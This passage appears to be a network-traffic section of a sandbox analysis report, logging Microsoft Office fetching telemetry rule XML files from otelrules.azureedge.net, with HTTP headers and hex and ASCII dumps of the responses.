2024-11-20 07:12:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49839	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:36 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071236Z-185f5d8b95cdtclvhC1NYC4rmc0000000a0000000000d4kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49840	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:36 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:37 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071237Z-185f5d8b95c96jn4hC1NYCbgp800000009z0000000002h18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49843	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:37 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071237Z-r1d97b99577lxltfhC1TEByw2s00000008f000000000fsv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49842	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:37 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071237Z-r1d97b995774n5h6hC1TEBvf8400000008fg000000009yev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49841	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:37 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071237Z-1777c6cb754whff4hC1TEBcd6c00000007t000000000kr2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49844	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:37 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 06bc2162-901e-0016-6af6-3aefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071237Z-185f5d8b95cx9g8lhC1NYCtgvc000000026g00000000ertm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49845	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:37 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:37 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071237Z-1777c6cb754xlpjshC1TEBv8cc00000009c000000000b9ck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:37 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49846	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:38 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:38 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071238Z-1777c6cb754vxwc9hC1TEBykgw000000095g00000000g0qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:38 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49847	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:38 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:38 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: ab7768f3-b01e-0098-59ec-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071238Z-185f5d8b95crwqd8hC1NYCps6800000009y00000000051qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:38 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49848	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:38 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:38 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:38 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071238Z-185f5d8b95cmd8vfhC1NYC0g4000000005u00000000069zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:38 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49849	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:38 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:38 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:38 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071238Z-185f5d8b95cjbkr4hC1NYCeu2400000009n000000000m9ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:38 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49850	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
